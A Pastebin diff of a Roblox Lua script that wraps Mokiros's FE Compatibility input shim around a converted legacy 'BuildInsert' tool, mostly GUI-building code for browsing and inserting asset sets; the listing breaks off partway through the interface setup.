SHOW:
|
|
- or go back to the newest paste.
1 | --https://github.com/Mokiros/roblox-FE-compatibility | |
2 | - | --Converted with ttyyuu12345's model to script plugin v4 |
2 | + | if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end |
3 | local Player,game,owner = owner,game | |
4 | local RealPlayer = Player | |
5 | do print("FE Compatibility code V2 by Mokiros")local RealPlayer=RealPlayer;script.Parent=RealPlayer.Character;local a=function(b)b[1].f[b[2]]=nil end;local c={__index={disconnect=a,Disconnect=a}}local d={__index={Connect=function(b,e)local f=tostring(math.random(0,10000))while b.f[f]do f=tostring(math.random(0,10000))end;b.f[f]=e;return setmetatable({b,f},c)end}}d.__index.connect=d.__index.Connect;local function g()return setmetatable({f={}},d)end;local h={Hit=CFrame.new(),KeyUp=g(),KeyDown=g(),Button1Up=g(),Button1Down=g(),Button2Up=g(),Button2Down=g()}h.keyUp=h.KeyUp;h.keyDown=h.KeyDown;local i={InputBegan=g(),InputEnded=g()}local CAS={Actions={},BindAction=function(self,j,k,l,...)CAS.Actions[j]=k and{Name=j,Function=k,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function m(self,n,...)for o,e in pairs(self[n].f)do e(...)end end;h.T=m;i.T=m;local p=Instance.new("RemoteEvent")p.Name="UserInput_Event"p.OnServerEvent:Connect(function(q,r)if q~=RealPlayer then return end;h.Target=r.e;h.Hit=r.d;if not r.f then local s=r.c==Enum.UserInputState.Begin;if r.b==Enum.UserInputType.MouseButton1 then return h:T(s and"Button1Down"or"Button1Up")end;if r.b==Enum.UserInputType.MouseButton2 then return h:T(s and"Button2Down"or"Button2Up")end;for o,t in pairs(CAS.Actions)do for o,u in pairs(t.Keys)do if u==r.a then t.Function(t.Name,r.c,r)end end end;h:T(s and"KeyDown"or"KeyUp",r.a.Name:lower())i:T(s and"InputBegan"or"InputEnded",r,false)end end)p.Parent=NLS([==[local a=script:WaitForChild("UserInput_Event")local b=owner:GetMouse()local c=game:GetService("UserInputService")local d=function(e,f)if f then return end;a:FireServer({a=e.KeyCode,b=e.UserInputType,c=e.UserInputState,d=b.Hit,e=b.Target})end;c.InputBegan:Connect(d)c.InputEnded:Connect(d)local g,h;local i=game:GetService("RunService").Heartbeat;while true do if g~=b.Hit or h~=b.Target then g,h=b.Hit,b.Target;a:FireServer({f=1,Target=h,d=g})end;for j=1,2 do i:Wait()end end]==],script)local v=game;local w={__index=function(self,u)local x=rawget(self,"_RealService")if x then return typeof(x[u])=="function"and function(o,...)return x[u](x,...)end or x[u]end end,__newindex=function(self,u,y)local x=rawget(self,"_RealService")if x then x[u]=y end end}local function z(t,A)t._RealService=typeof(A)=="string"and v:GetService(A)or A;return setmetatable(t,w)end;local B={GetService=function(self,x)return rawget(self,x)or v:GetService(x)end,Players=z({LocalPlayer=z({GetMouse=function(self)return h end},Player)},"Players"),UserInputService=z(i,"UserInputService"),ContextActionService=z(CAS,"ContextActionService"),RunService=z({_btrs={},RenderStepped=v:GetService("RunService").Heartbeat,BindToRenderStep=function(self,j,o,k)self._btrs[j]=self.Heartbeat:Connect(k)end,UnbindFromRenderStep=function(self,j)self._btrs[j]:Disconnect()end},"RunService")}rawset(B.Players,"localPlayer",B.Players.LocalPlayer)B.service=B.GetService;z(B,game)game,owner=B,B.Players.LocalPlayer end --Converted with ttyyuu12345's model to script plugin v4 | |
6 | function sandbox(var,func) | |
7 | local env = getfenv(func) | |
8 | local newenv = setmetatable({},{ | |
9 | __index = function(self,k) | |
10 | if k=="script" then | |
11 | return var | |
12 | else | |
13 | return env[k] | |
14 | end | |
15 | end, | |
16 | }) | |
17 | setfenv(func,newenv) | |
18 | return func | |
19 | end | |
20 | cors = {} | |
21 | mas = Instance.new("Model",game:GetService("Lighting")) | |
22 | Tool0 = Instance.new("Tool") | |
23 | LocalScript1 = Instance.new("LocalScript") | |
24 | ObjectValue2 = Instance.new("ObjectValue") | |
25 | Part3 = Instance.new("Part") | |
26 | SpecialMesh4 = Instance.new("SpecialMesh") | |
27 | Sound5 = Instance.new("Sound") | |
28 | Sound6 = Instance.new("Sound") | |
29 | Sound7 = Instance.new("Sound") | |
30 | Sound8 = Instance.new("Sound") | |
31 | Sound9 = Instance.new("Sound") | |
32 | Fire10 = Instance.new("Fire") | |
33 | Script11 = Instance.new("Script") | |
34 | Sound12 = Instance.new("Sound") | |
35 | Script13 = Instance.new("Script") | |
36 | ObjectValue14 = Instance.new("ObjectValue") | |
37 | Script15 = Instance.new("Script") | |
38 | Script16 = Instance.new("Script") | |
39 | Script17 = Instance.new("Script") | |
40 | Script18 = Instance.new("Script") | |
41 | Tool0.Name = "BuildInsert" | |
42 | Tool0.Parent = mas | |
43 | Tool0.TextureId = "rbxasset://icons/insert.png" | |
44 | Tool0.GripForward = Vector3.new(-1, 0, -0) | |
45 | Tool0.GripPos = Vector3.new(0.600000024, 0.200000003, 0) | |
46 | Tool0.GripRight = Vector3.new(0, 0, -1) | |
47 | LocalScript1.Name = "Insert Local" | |
48 | LocalScript1.Parent = Tool0 | |
49 | table.insert(cors,sandbox(LocalScript1,function() | |
50 | local Tool = script.Parent | |
51 | ||
52 | --game:GetService("InsertService"):SetCollectionUrl("http://test.roblox.com/Game/Tools/insertasset.ashx?sid=%d") | |
53 | --game:GetService("InsertService"):SetBaseCategoryUrl("http://test.roblox.com/Game/Tools/insertasset.ashx?nsets=10") | |
54 | --game:GetService("InsertService"):SetAssetUrl("http://test.roblox.com/Asset/?id=%d") | |
55 | ||
56 | enabled = true | |
57 | local origTexture = Tool.TextureId | |
58 | game:GetService("ContentProvider"):Preload("rbxasset://icons/insert_sel.png") | |
59 | ||
60 | local height = 20 | |
61 | local width = UDim.new(0.25, 0) | |
62 | local height = 20 | |
63 | local buttonTransparency = 0.1 | |
64 | local insertButtonTransparency = 0.25 | |
65 | local transparency = 0.25 | |
66 | ||
67 | local selectedButtonColor = Color3.new(.1255, .4078, .1961) | |
68 | local selectedButtonTextColor = Color3.new(1.0,1.0,1.0) | |
69 | ||
70 | local buttonColor = Color3.new(0.0898, 0.2148, .2344) | |
71 | local buttonTextColor = Color3.new(1.0,1.0,1.0) | |
72 | ||
73 | local frameColor = Color3.new(.1255, .4078, .1961) | |
74 | local frameTextColor = Color3.new(1.0,1.0,1.0) | |
75 | ||
76 | local titleColor = Color3.new(0.6289, 0.8398, 0) | |
77 | local titleTextColor = Color3.new(0.0,0.0,0.0) | |
78 | ||
79 | local Window | |
80 | local Data | |
81 | local Mouse | |
82 | ||
83 | local SetCache = {} | |
84 | ||
85 | local soloGame = game:FindFirstChild("NetworkClient") == nil | |
86 | ||
87 | --Constants | |
88 | local useAssetVersionId = true | |
89 | local BaseUrl = game:GetService("ContentProvider").BaseUrl | |
90 | local ThumbnailUrl; | |
91 | if useAssetVersionId then | |
92 | ThumbnailUrl = BaseUrl .. "Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=110&ht=110&assetversionid=" | |
93 | else | |
94 | ThumbnailUrl = BaseUrl .. "Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=110&ht=110&aid=" | |
95 | end | |
96 | ||
97 | local InsertRows = 4 | |
98 | local InsertColumns = 8 | |
99 | ||
100 | --Static variables used for creating sizes | |
101 | function getPlayer() | |
102 | local character = script.Parent.Parent | |
103 | return game.Players:GetPlayerFromCharacter(character) | |
104 | end | |
105 | ||
106 | function minimize() | |
107 | if Window.Stamp.Frame.Visible then | |
108 | cancelAssetPlacement() | |
109 | elseif Window.Main.Frame.Visible then | |
110 | Window.Main.Frame.Visible = false | |
111 | Window.Minimized.Frame.Visible = true | |
112 | end | |
113 | end | |
114 | ||
115 | function buildImageButton(image) | |
116 | local buttonFrame = Instance.new("Frame") | |
117 | buttonFrame.BackgroundTransparency = 1.0 | |
118 | ||
119 | local button = Instance.new("ImageButton") | |
120 | button.Name = "Button" | |
121 | button.Parent = buttonFrame | |
122 | button.Image = image | |
123 | button.Size = UDim2.new(1.0, 0, 1.0, 0) | |
124 | button.Position = UDim2.new(0.0, 0, 0.0, 0) | |
125 | button.BorderSizePixel = 1 | |
126 | button.Parent = buttonFrame | |
127 | button.BackgroundTransparency = 0 | |
128 | ||
129 | return buttonFrame | |
130 | ||
131 | end | |
132 | function buildTextButton(text) | |
133 | ||
134 | local buttonFrame = Instance.new("Frame") | |
135 | buttonFrame.BackgroundTransparency = 1.0 | |
136 | local button = Instance.new("TextButton") | |
137 | button.Name = "Button" | |
138 | button.Parent = buttonFrame | |
139 | button.Text = text | |
140 | button.Size = UDim2.new(1.0, 0, 1.0, 0) | |
141 | button.TextWrap = true | |
142 | button.Position = UDim2.new(0.0, 0, 0.0, 0) | |
143 | button.BorderSizePixel = 1 | |
144 | button.BackgroundTransparency = buttonTransparency | |
145 | button.Parent = buttonFrame | |
146 | ||
147 | return buttonFrame | |
148 | end | |
149 | ||
150 | function mouseEnterInsertButton(insertFrame) | |
151 | if insertFrame ~= Data.CurrentRolloverInsertButton then | |
152 | insertFrame.Button.Transparency = 0.0 | |
153 | Data.CurrentRolloverInsertButton = insertFrame | |
154 | Window.Main.RolloverText.Text = Data.CurrentRolloverInsertButton.AssetName.Value | |
155 | end | |
156 | end | |
157 | ||
158 | function mouseLeaveInsertButton(insertFrame) | |
159 | if insertFrame == Data.CurrentRolloverInsertButton then | |
160 | Window.Main.RolloverText.Text = "" | |
161 | Data.CurrentRolloverInsertButton = nil | |
162 | ||
163 | end | |
164 | insertFrame.Button.Transparency = insertButtonTransparency | |
165 | end | |
166 | ||
167 | function buildInsertButton(position, size) | |
168 | local insertFrame = buildImageButton("") | |
169 | insertFrame.Name = "InsertAssetButton" | |
170 | insertFrame.Position = position | |
171 | insertFrame.Size = size | |
172 | insertFrame.Button.BackgroundColor3 = Color3.new(1.0,1.0,1.0) | |
173 | insertFrame.Button.Transparency = insertButtonTransparency | |
174 | insertFrame.Visible = false | |
175 | ||
176 | local assetId = Instance.new("IntValue") | |
177 | assetId.Name = "AssetId" | |
178 | assetId.Value = -1 | |
179 | assetId.Parent = insertFrame | |
180 | ||
181 | local assetName = Instance.new("StringValue") | |
182 | assetName.Name = "AssetName" | |
183 | assetName.Value = "" | |
184 | assetName.Parent = insertFrame | |
185 | ||
186 | insertFrame.Button.MouseButton1Click:connect(function() mouseLeaveInsertButton(insertFrame) beginInsertAsset(insertFrame.AssetName.Value, insertFrame.AssetId.Value, insertFrame.Button.Image, false) end) | |
187 | insertFrame.Button.MouseButton2Click:connect(function() mouseLeaveInsertButton(insertFrame) beginInsertAsset(insertFrame.AssetName.Value, insertFrame.AssetId.Value, insertFrame.Button.Image, true) end) | |
188 | insertFrame.Button.MouseEnter:connect(function() mouseEnterInsertButton(insertFrame) end) | |
189 | insertFrame.Button.MouseLeave:connect(function() mouseLeaveInsertButton(insertFrame) end) | |
190 | ||
191 | return insertFrame | |
192 | end | |
193 | ||
194 | function setInsertButtonImageBehavior(insertFrame, visible, name, assetId) | |
195 | if visible then | |
196 | insertFrame.AssetName.Value = name | |
197 | insertFrame.AssetId.Value = assetId | |
198 | insertFrame.Button.Image = ThumbnailUrl .. assetId | |
199 | insertFrame.Button.BackgroundColor3 = Color3.new(1.0,1.0,1.0) | |
200 | insertFrame.Visible = true | |
201 | else | |
202 | insertFrame.Visible = false | |
203 | end | |
204 | end | |
205 | ||
206 | function mouseEnterSetButton(setFrame) | |
207 | if setFrame.Button.AutoButtonColor then | |
208 | setFrame.Button.Icon.Transparency = 0.0 | |
209 | end | |
210 | end | |
211 | function mouseLeaveSetButton(setFrame) | |
212 | if setFrame.Button.AutoButtonColor then | |
213 | setFrame.Button.Icon.Transparency = insertButtonTransparency | |
214 | end | |
215 | end | |
216 | ||
217 | function buildSetButton(name, setId, setImageId, i, count) | |
218 | local buttonFrame = buildTextButton("") | |
219 | buttonFrame.Name = "SetButton" | |
220 | buttonFrame.Size = UDim2.new(1.0, 0, 0.0, height*2) | |
221 | buttonFrame.Position = UDim2.new(0.0, 0, 0.0, (i-1)*height*2) | |
222 | buttonFrame.Button.BackgroundColor3 = buttonColor | |
223 | buttonFrame.Button.TextColor3 = buttonTextColor | |
224 | buttonFrame.Visible = false | |
225 | ||
226 | local setNameLabel = Instance.new("TextLabel") | |
227 | setNameLabel.Name = "Name" | |
228 | setNameLabel.Text = name | |
229 | setNameLabel.TextColor3 = buttonTextColor | |
230 | setNameLabel.BackgroundTransparency = 1.0 | |
231 | setNameLabel.Size = UDim2.new(1.0, -height*2, 1.0, 0.0) | |
232 | setNameLabel.Position = UDim2.new(0.0, height*2, 0.0, 0) | |
233 | setNameLabel.TextWrap = true | |
234 | setNameLabel.TextXAlignment = Enum.TextXAlignment.Left | |
235 | setNameLabel.Parent = buttonFrame.Button | |
236 | ||
237 | local iconLabel = Instance.new("ImageLabel") | |
238 | iconLabel.Name = "Icon" | |
239 | iconLabel.Image = BaseUrl .. "asset/?id=" .. setImageId | |
240 | iconLabel.Size = UDim2.new(0.0, height*2 - 4, 0.0, height*2 -4) | |
241 | iconLabel.Position = UDim2.new(0.0, 2, 0.0, 2) | |
242 | iconLabel.Transparency = insertButtonTransparency | |
243 | iconLabel.Parent = buttonFrame.Button | |
244 | ||
245 | local setValue = Instance.new("IntValue") | |
246 | setValue.Name = "SetId" | |
247 | setValue.Value = setId | |
248 | setValue.Parent = buttonFrame | |
249 | ||
250 | local setName = Instance.new("StringValue") | |
251 | setName.Name = "SetName" | |
252 | setName.Value = name | |
253 | setName.Parent = buttonFrame | |
254 | ||
255 | buttonFrame.Button.MouseButton1Click:connect(function() selectSet(buttonFrame, buttonFrame.SetName.Value, buttonFrame.SetId.Value, 0) end) | |
256 | buttonFrame.Button.MouseEnter:connect(function() mouseEnterSetButton(buttonFrame) end) | |
257 | buttonFrame.Button.MouseLeave:connect(function() mouseLeaveSetButton(buttonFrame) end) | |
258 | ||
259 | --print("Built button " .. i .. " SetId=" .. setId .. " SetName=" .. name) | |
260 | ||
261 | return buttonFrame | |
262 | end | |
263 | ||
264 | function previousSetPage() | |
265 | local newIndex = math.max(1, Data.Category[Data.CurrentCategory].Index - (Data.Main.InsertRows * Data.Main.InsertColumns)) | |
266 | setSetIndex(newIndex) | |
267 | end | |
268 | ||
269 | function nextSetPage() | |
270 | local newIndex = math.max(0, Data.Category[Data.CurrentCategory].Index + (Data.Main.InsertRows * Data.Main.InsertColumns)) | |
271 | setSetIndex(newIndex) | |
272 | end | |
273 | ||
274 | function setSetIndex(dataOffset) | |
275 | Data.Category[Data.CurrentCategory].Index = dataOffset | |
276 | ||
277 | local PageSize = Data.Main.InsertRows*Data.Main.InsertColumns | |
278 | local contents = Data.Category[Data.CurrentCategory].Contents | |
279 | if contents then | |
280 | for index = 1, PageSize do | |
281 | if Data.InsertButtons[index] then | |
282 | if contents[index + dataOffset] then | |
283 | --for key, value in pairs(contents[index+dataOffset]) do | |
284 | -- print("key=" .. key .. ", value=" .. value) | |
285 | --end | |
286 | ||
287 | local assetId | |
288 | if useAssetVersionId then | |
289 | assetId = contents[index + dataOffset].AssetVersionId | |
290 | else | |
291 | assetId = contents[index + dataOffset].AssetId | |
292 | end | |
293 | setInsertButtonImageBehavior(Data.InsertButtons[index], true, contents[index + dataOffset].Name, assetId) | |
294 | else | |
295 | setInsertButtonImageBehavior(Data.InsertButtons[index], false) | |
296 | end | |
297 | end | |
298 | end | |
299 | Window.Main.PreviousPageButton.Visible = dataOffset > 0 | |
300 | Window.Main.NextPageButton.Visible = (dataOffset + PageSize) < (#contents) | |
301 | else | |
302 | Window.Main.PreviousPageButton.Visible = false | |
303 | Window.Main.NextPageButton.Visible = false | |
304 | end | |
305 | end | |
306 | ||
307 | function previousCategoryPage() | |
308 | local newIndex = math.max(0, Data.Category[Data.CurrentCategory].SetIndex - Data.Main.InsertSets) | |
309 | setCategoryIndex(newIndex) | |
310 | end | |
311 | ||
312 | function nextCategoryPage() | |
313 | local newIndex = math.max(0, Data.Category[Data.CurrentCategory].SetIndex + Data.Main.InsertSets) | |
314 | setCategoryIndex(newIndex) | |
315 | end | |
316 | ||
317 | function setCategoryIndex(setIndex) | |
318 | Data.Category[Data.CurrentCategory].SetIndex = setIndex | |
319 | --This is how many vertical items we can display | |
320 | ||
321 | --Layout all buttons in this setoh | |
322 | if #Data.CurrentCategory > Data.Main.InsertSets then | |
323 | --Steal one for use by the layout buttons, when it rains it pours | |
324 | ||
325 | --We can't fit all the buttons | |
326 | local heightUsed = 0 | |
327 | ||
328 | local index = 1 | |
329 | if index < setIndex then | |
330 | heightUsed = height | |
331 | Window.Main.PreviousSetButton.Visible = true | |
332 | while index < setIndex do | |
333 | Data.CurrentCategory[index].Visible = false | |
334 | index = index + 1 | |
335 | end | |
336 | else | |
337 | Window.Main.PreviousSetButton.Visible = false | |
338 | end | |
339 | ||
340 | local offset = 0 | |
341 | while offset < Data.Main.InsertSets and index + offset <= #Data.CurrentCategory do | |
342 | Data.CurrentCategory[index + offset].Size = UDim2.new(1.0, 0, 0.0, height*2) | |
343 | Data.CurrentCategory[index + offset].Position = UDim2.new(0.0, 0, 0.0, height*2*offset + heightUsed) | |
344 | Data.CurrentCategory[index + offset].Visible = true | |
345 | offset = offset + 1 | |
346 | end | |
347 | index = index + offset | |
348 | heightUsed = heightUsed + Data.Main.InsertSets*height*2 | |
349 | ||
350 | if index <= #Data.CurrentCategory then | |
351 | Window.Main.NextSetButton.Position = UDim2.new(0.0, 0, 0.0, heightUsed) | |
352 | Window.Main.NextSetButton.Size = UDim2.new(1.0, 0, 1.0, -heightUsed) | |
353 | Window.Main.NextSetButton.Visible = true | |
354 | while index <= #Data.CurrentCategory do | |
355 | Data.CurrentCategory[index].Visible = false | |
356 | index = index + 1 | |
357 | end | |
358 | else | |
359 | Window.Main.NextSetButton.Visible = false | |
360 | end | |
361 | --Window.Main.Frame.SetTab.SetFiller.Size = UDim2.new(0.0, 0, 0.0, 0) | |
362 | else | |
363 | Window.Main.PreviousSetButton.Visible = false | |
364 | Window.Main.NextSetButton.Visible = false | |
365 | ||
366 | for key, buttonFrame in pairs(Data.CurrentCategory) do | |
367 | buttonFrame.Size = UDim2.new(1.0, 0, 0.0, height*2) | |
368 | buttonFrame.Position = UDim2.new(0.0, 0, 0.0, height*2*(key-1)) | |
369 | buttonFrame.Visible = true | |
370 | end | |
371 | ||
372 | --Then expand this to fill the remaining space at the bottom | |
373 | --Window.Main.Frame.SetTab.SetFiller.Position = UDim2.new(0.0, 0, 0.0, height*2*#Data.CurrentCategory) | |
374 | --Window.Main.Frame.SetTab.SetFiller.Size = UDim2.new(1.0, 0, 0.0, frameHeight - height*2*#Data.CurrentCategory) | |
375 | end | |
376 | end | |
377 | ||
378 | function selectCategoryPage(buttons, page) | |
379 | if buttons ~= Data.CurrentCategory then | |
380 | if Data.CurrentCategory then | |
381 | for key, button in pairs(Data.CurrentCategory) do | |
382 | button.Visible = false | |
383 | end | |
384 | end | |
385 | ||
386 | Data.CurrentCategory = buttons | |
387 | if Data.Category[Data.CurrentCategory] == nil then | |
388 | Data.Category[Data.CurrentCategory] = {} | |
389 | if #buttons > 0 then | |
390 | selectSet(buttons[1], buttons[1].SetName.Value, buttons[1].SetId.Value, 0) | |
391 | end | |
392 | else | |
393 | Data.Category[Data.CurrentCategory].Button = nil | |
394 | selectSet(Data.Category[Data.CurrentCategory].ButtonFrame, Data.Category[Data.CurrentCategory].SetName, Data.Category[Data.CurrentCategory].SetId, Data.Category[Data.CurrentCategory].Index) | |
395 | end | |
396 | if Data.Main.FrameHeight then | |
397 | if Data.Category[Data.CurrentCategory].SetIndex then | |
398 | layoutSetButtons(Data.Main.FrameHeight, Data.Category[Data.CurrentCategory].SetIndex) | |
399 | else | |
400 | layoutSetButtons(Data.Main.FrameHeight, 1) | |
401 | end | |
402 | end | |
403 | ||
404 | ||
405 | end | |
406 | end | |
407 | function filterSet(set) | |
408 | if soloGame then | |
409 | return set | |
410 | end | |
411 | ||
412 | local result = {} | |
413 | for pos, object in pairs(set) do | |
414 | if object.IsTrusted then | |
415 | result[#result+1] = object | |
416 | end | |
417 | end | |
418 | return result | |
419 | end | |
420 | function selectSet(buttonFrame, setName, setId, setIndex) | |
421 | if buttonFrame then | |
422 | if buttonFrame.Button ~= Data.Category[Data.CurrentCategory].Button then | |
423 | if Data.Category[Data.CurrentCategory].Button ~= nil then | |
424 | Data.Category[Data.CurrentCategory].Button.BackgroundColor3 = buttonColor | |
425 | Data.Category[Data.CurrentCategory].Button.TextColor3 = buttonTextColor | |
426 | Data.Category[Data.CurrentCategory].Button.Icon.Transparency = insertButtonTransparency | |
427 | Data.Category[Data.CurrentCategory].Button.AutoButtonColor = true | |
428 | end | |
429 | ||
430 | Data.Category[Data.CurrentCategory].Button = buttonFrame.Button | |
431 | Data.Category[Data.CurrentCategory].Button.BackgroundColor3 = selectedButtonColor | |
432 | Data.Category[Data.CurrentCategory].Button.TextColor3 = selectedButtonTextColor | |
433 | Data.Category[Data.CurrentCategory].Button.Icon.Transparency = 0.0 | |
434 | Data.Category[Data.CurrentCategory].Button.AutoButtonColor = false | |
435 | ||
436 | if SetCache[setId] == nil then | |
437 | SetCache[setId] = filterSet(game:GetService("InsertService"):GetCollection(setId)) | |
438 | end | |
439 | Data.Category[Data.CurrentCategory].Contents = SetCache[setId] | |
440 | Window.Main.Title.Text = setName | |
441 | ||
442 | Data.Category[Data.CurrentCategory].SetName = setName | |
443 | Data.Category[Data.CurrentCategory].SetId = setId | |
444 | Data.Category[Data.CurrentCategory].ButtonFrame = buttonFrame | |
445 | end | |
446 | ||
447 | setSetIndex (setIndex) | |
448 | end | |
449 | end | |
450 | ||
451 | function selectCategory(button, category) | |
452 | if Data.CurrentCategory ~= category then | |
453 | if Data.CurrentCategoryButton then | |
454 | Data.CurrentCategoryButton.BackgroundColor3 = buttonColor | |
455 | Data.CurrentCategoryButton.TextColor3 = buttonTextColor | |
456 | Data.CurrentCategoryButton.AutoButtonColor = true | |
457 | end | |
458 | end | |
459 | selectCategoryPage(category, 0) | |
460 | ||
461 | Data.CurrentCategoryButton = button | |
462 | Data.CurrentCategoryButton.BackgroundColor3 = selectedButtonColor | |
463 | Data.CurrentCategoryButton.TextColor3 = selectedButtonTextColor | |
464 | Data.CurrentCategoryButton.AutoButtonColor = false | |
465 | end | |
466 | ||
467 | function processCategory(sets, setPanel) | |
468 | local setButtons = {} | |
469 | for index, object in pairs(sets) do | |
470 | --for key, value in pairs(object) do | |
471 | -- print("key=" .. key .. ", value=" .. value) | |
472 | --end | |
473 | setButtons[index] = buildSetButton(object.Name, object.CategoryId, object.ImageAssetId, index, #sets) | |
474 | setButtons[index].Parent = setPanel | |
475 | end | |
476 | return setButtons | |
477 | end | |
478 | ||
479 | function buildMainGui(root, userId) | |
480 | Window.Main = {} | |
481 | Data.Main = {} | |
482 | Data.Category = {} | |
483 | ||
484 | local mainFrame = Instance.new("Frame") | |
485 | mainFrame.Name = "InsertMainDialog" | |
486 | mainFrame.Position = UDim2.new(0.0, 0, 0.25, 0) | |
487 | mainFrame.Size = UDim2.new(0.75, 0, 0.75, 0) | |
488 | mainFrame.Transparency = 1.0 | |
489 | mainFrame.Active = true | |
490 | mainFrame.Parent = root | |
491 | Window.Main.Frame = mainFrame | |
492 | ||
493 | local setTab = Instance.new("Frame") | |
494 | setTab.Position = UDim2.new(0.0, 0, 0.0, 0) | |
495 | setTab.Size = UDim2.new(0.15, 0, 1.0, 0) | |
496 | setTab.BackgroundTransparency = 1.0 | |
497 | setTab.Name = "SetTab" | |
498 | setTab.Parent = mainFrame | |
499 | ||
500 | local setPanel = Instance.new("Frame") | |
501 | setPanel.Position = UDim2.new(0.0, 0, 0.0, 0) | |
502 | setPanel.Size = UDim2.new(1.0, 0, 1.0, 0) | |
503 | setPanel.BackgroundTransparency = 1.0 | |
504 | setPanel.Name = "SetPanel" | |
505 | setPanel.Parent = setTab | |
506 | ||
507 | local setFiller = Instance.new("Frame") | |
508 | setFiller.Name = "SetFiller" | |
509 | setFiller.Size = UDim2.new(0.0, 0, 0.0, 0) | |
510 | setFiller.Position = UDim2.new(0.0, 0, 0.0, 0) | |
511 | setFiller.BackgroundColor3 = frameColor | |
512 | setFiller.BackgroundTransparency = transparency*.5 | |
513 | setFiller.Parent = setTab | |
514 | ||
515 | local previousSetButton = Instance.new("TextButton") | |
516 | previousSetButton.Name = "PreviousSetButton" | |
517 | previousSetButton.Size = UDim2.new(1.0, 0, 0, height) | |
518 | previousSetButton.Position = UDim2.new(0.0, 0, 0.0, 0) | |
519 | previousSetButton.BackgroundColor3 = buttonColor | |
520 | previousSetButton.TextColor3 = buttonTextColor | |
521 | previousSetButton.BackgroundTransparency = transparency | |
522 | previousSetButton.Text = "..." | |
523 | previousSetButton.MouseButton1Click:connect(previousCategoryPage) | |
524 | previousSetButton.Parent = setTab | |
525 | previousSetButton.Visible = false | |
526 | Window.Main.PreviousSetButton = previousSetButton | |
527 | ||
528 | local nextSetButton = Instance.new("TextButton") | |
529 | nextSetButton.Name = "NextSetButton" | |
530 | nextSetButton.Size = UDim2.new(1.0, 0, 0.0, height) | |
531 | nextSetButton.Position = UDim2.new(0.0, 0, 1.0, -height) | |
532 | nextSetButton.BackgroundColor3 = buttonColor | |
533 | nextSetButton.TextColor3 = buttonTextColor | |
534 | nextSetButton.BackgroundTransparency = transparency | |
535 | nextSetButton.Text = "..." | |
536 | nextSetButton.MouseButton1Click:connect(nextCategoryPage) | |
537 | nextSetButton.Parent = setTab | |
538 | nextSetButton.Visible = false | |
539 | Window.Main.NextSetButton = nextSetButton | |
540 | ||
541 | local insertTab = Instance.new("Frame") | |
542 | insertTab.Name = "InsertTab" | |
543 | insertTab.Position = UDim2.new(0.15, 0, 0.0, 0) | |
544 | insertTab.Size = UDim2.new(0.85, 0, 1.0, 0) | |
545 | insertTab.BackgroundTransparency = 1.0 | |
546 | insertTab.Parent = mainFrame | |
547 | ||
548 | Data.BaseCategoryButtons = processCategory(game:GetService("InsertService"):GetBaseCategories(), setPanel) | |
549 | local userData = game:GetService("InsertService"):GetUserCategories(userId) | |
550 | if userData then | |
551 | Data.UserCategoryButtons = processCategory(userData, setPanel) | |
552 | ||
553 | local userCategoryButton = Instance.new("TextButton") | |
554 | userCategoryButton.Name = "UserCategoryButton" | |
555 | userCategoryButton.Size = UDim2.new(0.25, 0, 0, height) | |
556 | userCategoryButton.Position = UDim2.new(0.25, 0, 0.0, -height) | |
557 | userCategoryButton.BackgroundColor3 = buttonColor | |
558 | userCategoryButton.TextColor3 = buttonTextColor | |
559 | userCategoryButton.BackgroundTransparency = transparency*.5 | |
560 | userCategoryButton.Text = "User Sets" | |
561 | userCategoryButton.MouseButton1Click:connect(function() selectCategory(userCategoryButton, Data.UserCategoryButtons) end) | |
562 | userCategoryButton.Parent = insertTab | |
563 | end | |
564 | --Data.UserCategoryButtons = processCategory(game:GetService("InsertService"):GetBaseCategories(), setPanel) | |
565 | ||
566 | local baseCategoryButton = Instance.new("TextButton") | |
567 | baseCategoryButton.Name = "RobloxCategoryButton" | |
568 | baseCategoryButton.Size = UDim2.new(0.25, 0, 0, height) | |
569 | baseCategoryButton.Position = UDim2.new(0.0, 0, 0.0, -height) | |
570 | baseCategoryButton.BackgroundColor3 = buttonColor | |
571 | baseCategoryButton.TextColor3 = buttonTextColor | |
572 | baseCategoryButton.BackgroundTransparency = transparency *.5 | |
573 | baseCategoryButton.Text = "Roblox Sets" | |
574 | baseCategoryButton.MouseButton1Click:connect(function() selectCategory(baseCategoryButton, Data.BaseCategoryButtons) end) | |
575 | baseCategoryButton.Parent = insertTab | |
576 | ||
577 | local titleFrame = Instance.new("TextLabel") | |
578 | titleFrame.Name = "Title" | |
579 | titleFrame.Position = UDim2.new(0.0, 0, 0.0, 0) | |
580 | titleFrame.Size = UDim2.new(1.0, 0, 0.0, height) | |
581 | titleFrame.TextWrap = true | |
582 | titleFrame.BackgroundColor3 = titleColor | |
583 | titleFrame.TextColor3 = titleTextColor | |
584 | titleFrame.BackgroundTransparency = .1 | |
585 | titleFrame.Text = "Set Foo" | |
586 | titleFrame.Parent = insertTab | |
587 | Window.Main.Title = titleFrame | |
588 | ||
589 | local minimizeButton = Instance.new("ImageButton") | |
590 | minimizeButton.Name = "Minimize" | |
591 | minimizeButton.Position = UDim2.new(1.0, -height + 1, 0.0, 1) | |
592 | minimizeButton.Size = UDim2.new(0.0, height-2, 0.0, height-2) | |
593 | minimizeButton.Image = BaseUrl .. "asset?id=20889725" | |
594 | minimizeButton.MouseButton1Click:connect(minimize) | |
595 | minimizeButton.Parent = titleFrame | |
596 | ||
597 | local insertPanel = Instance.new("Frame") | |
598 | insertPanel.Name = "InsertPanel" | |
599 | insertPanel.Position = UDim2.new(0.0, 0, 0.0, height) | |
600 | insertPanel.Size = UDim2.new(1.0, 0, 1.0, -2*height) | |
601 | insertPanel.BackgroundColor3 = frameColor | |
602 | insertPanel.BackgroundTransparency = transparency | |
603 | insertPanel.Parent = insertTab | |
604 | ||
605 | local footerPanel = Instance.new("Frame") | |
606 | footerPanel.Name = "Footer" | |
607 | footerPanel.Size = UDim2.new(1.0, 0, 0, height) | |
608 | footerPanel.Position = UDim2.new(0.0, 0, 1.0, -height) | |
609 | footerPanel.BackgroundTransparency = transparency | |
610 | footerPanel.BackgroundColor3 = frameColor | |
611 | footerPanel.Parent = insertTab | |
612 | ||
613 | local rolloverText = Instance.new("TextLabel") | |
614 | rolloverText.Name = "RolloverText" | |
615 | rolloverText.Size = UDim2.new(0.8, 0, 1.0, 0) | |
616 | rolloverText.Position = UDim2.new(0.1, 0, 0.0, 0) | |
617 | rolloverText.TextColor3 = frameTextColor | |
618 | rolloverText.BackgroundColor3 = frameColor | |
